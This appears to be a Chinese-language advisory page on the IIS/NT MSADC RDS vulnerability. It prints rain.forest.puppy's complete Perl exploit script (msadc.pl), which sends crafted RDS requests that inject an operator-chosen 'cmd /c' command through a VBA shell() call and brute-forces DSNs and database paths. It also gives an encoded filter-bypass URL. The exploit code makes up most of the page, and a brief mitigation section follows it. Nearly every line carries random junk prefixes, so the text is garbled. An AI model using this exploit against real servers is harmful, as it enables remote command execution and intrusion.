IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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涉及程序：
M9{?gM9 Microsoft NT server
yW.s?3X RG=!,#X 描述：
/ g3U,?qP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"WOY`su> *9}2Bmojv 详细：
:_YpS w<Q 如果你没有时间读详细内容的话，就删除:
1_ uq46 c:\Program Files\Common Files\System\Msadc\msadcs.dll
' ypJGm 有关的安全问题就没有了。
is`Eqcj`dr yu~~"Rq) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,mH2S/<}S ^y"Rdv 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E< ;C@B 关于利用ODBC远程漏洞的描述，请参看:
(v*$ Ex F q: . URl http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H aI `i0RLGze 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-p =b5L http://www.microsoft.com/security/bulletins/MS99-025faq.asp UPgjf H )1< ;{: 这里不再论述。
S/pTFlptCa o|G.tBpKg 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
+hg|!SS@5 z- nhL= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O`- JKZc 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
FCU~*c8Cs ; 1K[N0xE Qy |*[ #将下面这段保存为txt文件，然后: "perl -x 文件名"
u(\O G@b|{! #!perl
*b9=&:pU( #
E`.dU<8HE # MSADC/RDS 'usage' (aka exploit) script
z>+@pj
#
x7 jE
Ns ) # by rain.forest.puppy
^yiRrcOo #
& D4'hL 3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}; ! S2+ # beta test and find errors!
rWEJCFa 7 a 4G: use Socket; use Getopt::Std;
;_)&#X,?( getopts("e:vd:h:XR", \%args);
h\a fO AjB-&Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PvX>+y5 hrPm$` if (!defined $args{h} && !defined $args{R}) {
4M'y9 ( print qq~
7*]O]6rP Usage: msadc.pl -h <host> { -d <delay> -X -v }
yhg^1l|t, -h <host> = host you want to scan (ip or domain)
hSE\RX 9 -d <seconds> = delay between calls, default 1 second
Z?Y14L~% -X = dump Index Server path table, if available
{ j.5!Nj]B -v = verbose
-kT *gIJ} -e = external dictionary file for step 5
jHq.W95+P @#$5_uU8\( Or a -R will resume a command session
u {maE , EE5I~ k 5 ~; exit;}
]Sg4 >tp EOWLGle D1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9mfqr$ 3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
deO/` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H 'Q4 IRT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-v#0.3z m $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hDI_qZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{ [ QCuR HM ;9%rtO if (!defined $args{R}){ $ret = &has_msadc;
< TJzp die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W3K?K- 6tBL?'pG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`''\FPhh . "cmd /c ";
`+ cc{ k $in=<STDIN>; chomp $in;
,,vl+Z <& $command="cmd /c " . $in ;
[" VUSa /iFtW#K+ if (defined $args{R}) {&load; exit;}
oZTKG' uQgv ;jsPz print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q g6283'? &try_btcustmr;
'B0=
"7 z/yNFY]i print "\nStep 2: Trying to make our own DSN...";
wd&Tf
R4! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Kt5;G UV |9c J O@ print "\nStep 3: Trying known DSNs...";
nw|ls2 &known_dsn;
7jP
C {W 1,q&A
RTS print "\nStep 4: Trying known .mdbs...";
W,'30:#Fr7 &known_mdb;
CqGi
2<2 qBL >C\V + if (defined $args{e}){
I[u %k ir print "\nStep 5: Trying dictionary of DSN names...";
co^kP##Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F"o
K*s z . EpRJn print "Sorry Charley...maybe next time?\n";
O3H dPQ exit;
$< &N# 6S*L[zBnA\ ##############################################################################
;Gf,$dbWn znm3b8ns sub sendraw { # ripped and modded from whisker
\D
Oq x sleep($delay); # it's a DoS on the server! At least on mine...
{akS K my ($pstr)=@_;
VnqgN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%dA6vHI, die("Socket problems\n");
);X &J:-l+ if(connect(S,pack "SnA4x8",2,80,$target)){
K)!yOa'fH select(S); $|=1;
`a *_b9 print $pstr; my @in=<S>;
<7-Qn(m, select(STDOUT); close(S);
Rs *]I\ return @in;
$J]VY;C! } else { die("Can't connect...\n"); }}
6 @ B_3y IpX.ube ##############################################################################
_J' _9M?> z u53m Z sub make_header { # make the HTTP request
Ll 4/P[7:? my $msadc=<<EOT
[=f(u
wY>g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!$}:4}5 6F User-Agent: ACTIVEDATA
`x b\ ) Host: $ip
=gSa? pd Content-Length: $clen
XEK% \o} Connection: Keep-Alive
:x85:pa `cu W^/c ADCClientVersion:01.06
tb#9TF Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b8Bf,&:ys njhDrwN --!ADM!ROX!YOUR!WORLD!
Fog4m=b`g Content-Type: application/x-varg
*2nQZ^c. Content-Length: $reqlen
{w/{)B nPG q.xt%`@ aA EOT
k9]M=eO ; $msadc=~s/\n/\r\n/g;
e+'PRVc return $msadc;}
#Tm^$\*h\] +OEheG8 ##############################################################################
AcRrk F?h{IH
f sub make_req { # make the RDS request
c:[ z({` my ($switch, $p1, $p2)=@_;
)1E[CIaXK my $req=""; my $t1, $t2, $query, $dsn;
3
VNPdXsh h`{agW B if ($switch==1){ # this is the btcustmr.mdb query
c4\Nuy
$query="Select * from Customers where City=" . make_shell();
I %4 )% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cD&Q N9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}MW7,F k4@$vxy0 elsif ($switch==2){ # this is general make table query
H]zi>;D $query="create table AZZ (B int, C varchar(10))";
|"gg2p $dsn="$p1";}
q 4R vr[ pv3SAO4 elsif ($switch==3){ # this is general exploit table query
oR``Jiob| $query="select * from AZZ where C=" . make_shell();
O1C| {
M $dsn="$p1";}
-XuRQ_)nG qwf97pg$ elsif ($switch==4){ # attempt to hork file info from index server
|8m2i1XG $query="select path from scope()";
lla ? ;^, $dsn="Provider=MSIDXS;";}
G@.TE7a2Z h vC gd^M elsif ($switch==5){ # bad query
!@.9> "FU $query="select";
Z30r|Ufh $dsn="$p1";}
8 4X/=l-c= pbXh}YJ& $t1= make_unicode($query);
@ .D1_A $t2= make_unicode($dsn);
%I`%N2s s $req = "\x02\x00\x03\x00";
`l%)0)T $req.= "\x08\x00" . pack ("S1", length($t1));
>14 x.c $req.= "\x00\x00" . $t1 ;
[9-&Lq_ g $req.= "\x08\x00" . pack ("S1", length($t2));
zyHHz\{ $req.= "\x00\x00" . $t2 ;
_NwB7@ e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jV)4+D return $req;}
8lNkY`P7s l- mt{2 ##############################################################################
oh?@[U 1:.I0x! sub make_shell { # this makes the shell() statement
Z <Rhn return "'|shell(\"$command\")|'";}
Rr% CP[bH g )L?C'BG ##############################################################################
t[|aM-F&> 8Ry%HV9VE sub make_unicode { # quick little function to convert to unicode
w>TlM*3D/ my ($in)=@_; my $out;
P
{0iEA|k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
uXm_ pQpF
return $out;}
IEP^u
`} \LEU reTn ##############################################################################
;WP%)Z mne?r3d sub rdo_success { # checks for RDO return success (this is kludge)
d EvjB" x my (@in) = @_; my $base=content_start(@in);
N B.s2I7 if($in[$base]=~/multipart\/mixed/){
a3wk#mH
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x^959QO~ return 0;}
zF7*T?3b" =-dg]Ol8 ##############################################################################
!zW22M Z`jSpgWR sub make_dsn { # this makes a DSN for us
],l}J'.8<V my @drives=("c","d","e","f");
D= ^|6} print "\nMaking DSN: ";
H[e=^JuD foreach $drive (@drives) {
^77Q4"{W print "$drive: ";
2zlBrjk; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{kdS t1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Yp@i{$IUW . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-"} mmTa*< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
I$Ra*r return 0 if $2 eq "404"; # not found/doesn't exist
Pe`eF( J if($2 eq "200") {
gY/p\kw sj foreach $line (@results) {
_Z0O]>KH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~/R bYvyA } return 0;}
6%\&m|S \-n bV#{ ##############################################################################
[IRWm N- i[N= . sub verify_exists {
t
\;,$i my ($page)=@_;
?Mj@;O9>' my @results=sendraw("GET $page HTTP/1.0\n\n");
S uo return $results[0];}
^ - H d>-k-X-[ ##############################################################################
(O`2$~mIM ~^ ^|]s3 sub try_btcustmr {
]dU/;8/% my @drives=("c","d","e","f");
V")u
y&Ob my @dirs=("winnt","winnt35","winnt351","win","windows");
-8%[ 7Z] 6_a~
4_# foreach $dir (@dirs) {
VPI;{0kh print "$dir -> "; # fun status so you can see progress
oRZ--1oR_ foreach $drive (@drives) {
G5hh$Nmpi print "$drive: "; # ditto
NB#- W4NA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ns#R`WG) $reqlenlen=length( "$reqlen" );
?_BK(kL_ $clen= 206 + $reqlenlen + $reqlen;
=H)"t:xE :@c\a99Kx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SMIr@*R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3{ FUFx else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{<#~Ya- N[j*Q 8X_ ##############################################################################
-j"]1JLQ e )): U sub odbc_error {
$`'Xb my (@in)=@_; my $base;
|4?O4QN my $base = content_start(@in);
$*N)\>~X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{~a+dEz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*-lw2M9V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xp; CYr"1} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/AhN$)(O return $in[$base+4].$in[$base+5].$in[$base+6];}
5* 3T+OK print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$5v:z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;($" _h $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
U% T{ ~f hY[Vs5v ##############################################################################
Unc_e ,o68xfdZVW sub verbose {
e 0 cV g my ($in)=@_;
]s<}'& return if !$verbose;
ReZ&SNJ print STDOUT "\n$in\n";}
au~}s |# V^/]h
u ##############################################################################
]aqg{XdGt i?D
KKjN$ sub save {
]O1}q!s
my ($p1, $p2, $p3, $p4)=@_;
SZ3UR open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KD E cR print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*Iir/6myM close OUT;}
tShyG! b Q k h}= 3u ##############################################################################
X$(Dem Ubf@"B sub load {
G
;fc8a[X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rUOl+p_47 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W &HF*Aw @p=<IN>; close(IN);
jt,dr3|/n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
LktH*ePO $target= inet_aton($ip) || die("inet_aton problems");
6
~LCj" print "Resuming to $ip ...";
f\]splL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
RZrQ^tI3" if($p[1]==1) {
O=2SDuBZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q( g&/O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Qqn9nO 9 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=}^J6+TVL if (rdo_success(@results)){print "Success!\n";}
zEN3N n.8 else { print "failed\n"; verbose(odbc_error(@results));}}
y L|'K} elsif ($p[1]==3){
TeXt'G=M if(run_query("$p[3]")){
t~(|2nTO5 print "Success!\n";} else { print "failed\n"; }}
w_hN2eYo&e elsif ($p[1]==4){
>J ,y1jzJ if(run_query($drvst . "$p[3]")){
d@aPhzLu print "Success!\n"; } else { print "failed\n"; }}
~]Lk QQ' exit;}
*%;+3SV <yw(7 ##############################################################################
?Ja&LNI9S P tj[9R sub create_table {
'j27.R y. my ($in)=@_;
k 3 S $reqlen=length( make_req(2,$in,"") ) - 28;
_&xi})E^O] $reqlenlen=length( "$reqlen" );
6X`i*T$. $clen= 206 + $reqlenlen + $reqlen;
).D+/D/"2 my @results=sendraw(make_header() . make_req(2,$in,""));
Li8$Rb~q return 1 if rdo_success(@results);
\Jy/
a- my $temp= odbc_error(@results); verbose($temp);
zC< k4[ . return 1 if $temp=~/Table 'AZZ' already exists/;
&U7INUL return 0;}
BfOQ/k)) S%{^@L+V ##############################################################################
M` u& -6 L$rMfe S sub known_dsn {
~8l(, N0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
) u
Sg;B4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
pN?geF~t| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6G0Y ,B7& "banner", "banners", "ads", "ADCDemo", "ADCTest");
pS6p}S=1] :Y)jf foreach $dSn (@dsns) {
#|R#/Yc@Bv print ".";
{2,vxGi next if (!is_access("DSN=$dSn"));
9?J
3G,& if(create_table("DSN=$dSn")){
&Ay[mZQ 7 print "$dSn successful\n";
0tb%h[%,M if(run_query("DSN=$dSn")){
PqDffZ^z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e:u k``\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
8; \ |S0nR<x-M ##############################################################################
mi]b S
]/ffA|"U` sub is_access {
wY'w'%A ? my ($in)=@_;
bpgvLZb>s $reqlen=length( make_req(5,$in,"") ) - 28;
68 \73L = $reqlenlen=length( "$reqlen" );
Q}6!t$Vk $clen= 206 + $reqlenlen + $reqlen;
$s.:H4:I my @results=sendraw(make_header() . make_req(5,$in,""));
o7i>D6^^ my $temp= odbc_error(@results);
*l{GD 1ZDk verbose($temp); return 1 if ($temp=~/Microsoft Access/);
=`pH2SJT return 0;}
xm$-:N0q 0aM&+j\q } ##############################################################################
eEl71 *'to#_n&W
sub run_query {
:tf'Gw6v my ($in)=@_;
fPBJ%SZ $reqlen=length( make_req(3,$in,"") ) - 28;
,7h0y $reqlenlen=length( "$reqlen" );
HE|XDcYO $clen= 206 + $reqlenlen + $reqlen;
,[UK32KWI my @results=sendraw(make_header() . make_req(3,$in,""));
Y!qn[,q8 return 1 if rdo_success(@results);
\ ` U=pZJ my $temp= odbc_error(@results); verbose($temp);
N> jQe return 0;}
f>hA+ sOqT *gwr: ##############################################################################
9y+0Zj+. [JVEKc ym sub known_mdb {
Rl{e<>O\^ my @drives=("c","d","e","f","g");
yQ!I`T>a my @dirs=("winnt","winnt35","winnt351","win","windows");
\)`OEGdOR\ my $dir, $drive, $mdb;
ItD& L
)) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8}K^o>J&K S7
!; Z@ # this is sparse, because I don't know of many
u *=8s5Q[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
G_]zy mXQ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
SceK$ "\\system32\\certmdb.mdb",
WCD)yTg:ES "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
x/dyb. Fs( FI\^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Y*/e;mG. "\\cfusion\\cfapps\\forums\\forums_.mdb",
$W]}m"l "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\,S4-~(:! "\\cfusion\\cfapps\\security\\realm_.mdb",
{n\Ai3F- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Marx=cNj "\\cfusion\\database\\cfexamples.mdb",
,GF]+nI89 "\\cfusion\\database\\cfsnippets.mdb",
$1 t
IC_ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*3\*GatJ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3O*^[$vM "\\cfusion\\brighttiger\\database\\cleam.mdb",
p""\uG' "\\cfusion\\database\\smpolicy.mdb",
bH.SUd) "\\cfusion\\database\cypress.mdb",
(YM2Cv{ 4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wx o*\WLe "\\website\\cgi-win\\dbsample.mdb",
jwpahy;\WL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
k+BY 3a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
FsLd&$?T& ); #these are just
zygH-3C7o foreach $drive (@drives) {
z HT#bP:o foreach $dir (@dirs){
Z!-V&H. foreach $mdb (@sysmdbs) {
n^|SN9 _r print ".";
iPdS>e e if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
jO-T1P']Y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
C8W_f( i~ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U+R9bn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1 -$+@Xl } else { print "Something's borked. Use verbose next time\n"; }}}}}
~O~iP8T E M( %|# foreach $drive (@drives) {
CG;+Z-"X foreach $mdb (@mdbs) {
Dn)B19b print ".";
OLo?=1&;; if(create_table($drv . $drive . $dir . $mdb)){
EU
Z7?4o print "\n" . $drive . $dir . $mdb . " successful\n";
!mmSF1f if(run_query($drv . $drive . $dir . $mdb)){
%(|-+cLW+ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_Wq;bKG } else { print "Something's borked. Use verbose next time\n"; }}}}
a6@k* 9D> }
AZf69z :} 2T of2 ##############################################################################
z%BX^b$Hj ht#,v5oG>f sub hork_idx {
\x:} | print "\nAttempting to dump Index Server tables...\n";
=KAN|5yn print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5g.w"0MkY $reqlen=length( make_req(4,"","") ) - 28;
gF` hl YD $reqlenlen=length( "$reqlen" );
T(,@]=d,DD $clen= 206 + $reqlenlen + $reqlen;
X#Ob^E%J my @results=sendraw2(make_header() . make_req(4,"",""));
/;vHAtt;f if (rdo_success(@results)){
!Na@T]J my $max=@results; my $c; my %d;
1/,~0N9 for($c=19; $c<$max; $c++){
M)U)Sc zHO $results[$c]=~s/\x00//g;
u1 gD*4 + $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
AQ0zsy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4T$DQK@e $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:;c`qO4 $d{"$1$2"}="";}
\%B7 M]P foreach $c (keys %d){ print "$c\n"; }
sgnc$ x" } else {print "Index server doesn't seem to be installed.\n"; }}
c$lZ\r" ~1aM5Ba{ ##############################################################################
R T~oJ~t; GXk
|p8 sub dsn_dict {
xB]^^ NYE= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_T7XCXEk while(<IN>){
F(ZczwvR $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]omBq<ox'Y next if (!is_access("DSN=$dSn"));
*yY\d.6( if(create_table("DSN=$dSn")){
tv Zq):c print "$dSn successful\n";
d^v.tYM$N if(run_query("DSN=$dSn")){
8F'm#0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Sx (E'?] print "Something's borked. Use verbose next time\n";}}}
f@$kK?c? print "\n"; close(IN);}
7z&$\ qu2 #3{{[i(;i ##############################################################################
]>ndFE6kl CJDNS21m sub sendraw2 { # ripped and modded from whisker
)=bW\=[8 sleep($delay); # it's a DoS on the server! At least on mine...
ep0dT3& my ($pstr)=@_;
=6f)sZpPh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r:Q=6j, die("Socket problems\n");
i) Q
d>(v if(connect(S,pack "SnA4x8",2,80,$target)){
(i?9/8I print "Connected. Getting data";
Rlm28 open(OUT,">raw.out"); my @in;
!qHB?] select(S); $|=1; print $pstr;
fU\;\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
A0,e3gb close(OUT); select(STDOUT); close(S); return @in;
.TDg`O24c, } else { die("Can't connect...\n"); }}
sTep2W.9 ITEf Q@#jU ##############################################################################
1C]BaPbL P_H_\KsH*( sub content_start { # this will take in the server headers
:zvAlt' q= my (@in)=@_; my $c;
vlipB} for ($c=1;$c<500;$c++) {
=P_ *.SgR if($in[$c] =~/^\x0d\x0a/){
!4<A|$mQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Y7 K2@257 else { return $c+1; }}}
Fey^hx
w = return -1;} # it should never get here actually
l<<9H-O QUfF>,[sv ##############################################################################
e p Dp* 83p8:C.Ze sub funky {
^#K^W V my (@in)=@_; my $error=odbc_error(@in);
NS TO\36 if($error=~/ADO could not find the specified provider/){
q_L. Sy|) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&p* rEs exit;}
]{#Xcqx if($error=~/A Handler is required/){
#XqiXM~^R print "\nServer has custom handler filters (they most likely are patched)\n";
h|i b*%P_ exit;}
Snp(&TD<< if($error=~/specified Handler has denied Access/){
.3@Pz]\M#> print "\nServer has custom handler filters (they most likely are patched)\n";
N e z '1 exit;}}
eb6y-TwY gS`Z>+V5!c ##############################################################################
%da-/[ "Vp :Sq9y sub has_msadc {
rSm#/)4A my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4cJ/XgX my $base=content_start(@results);
+qqCk return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
St>
E\tXp return 0;}
UlKg2p \_i2 2/Et ########################
[a}Idi`
K kho0@o+'^ a5d_= :S ; 解决方案：
7 n^1H[q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p6)6Gcx 2、移除web 目录: /msadc
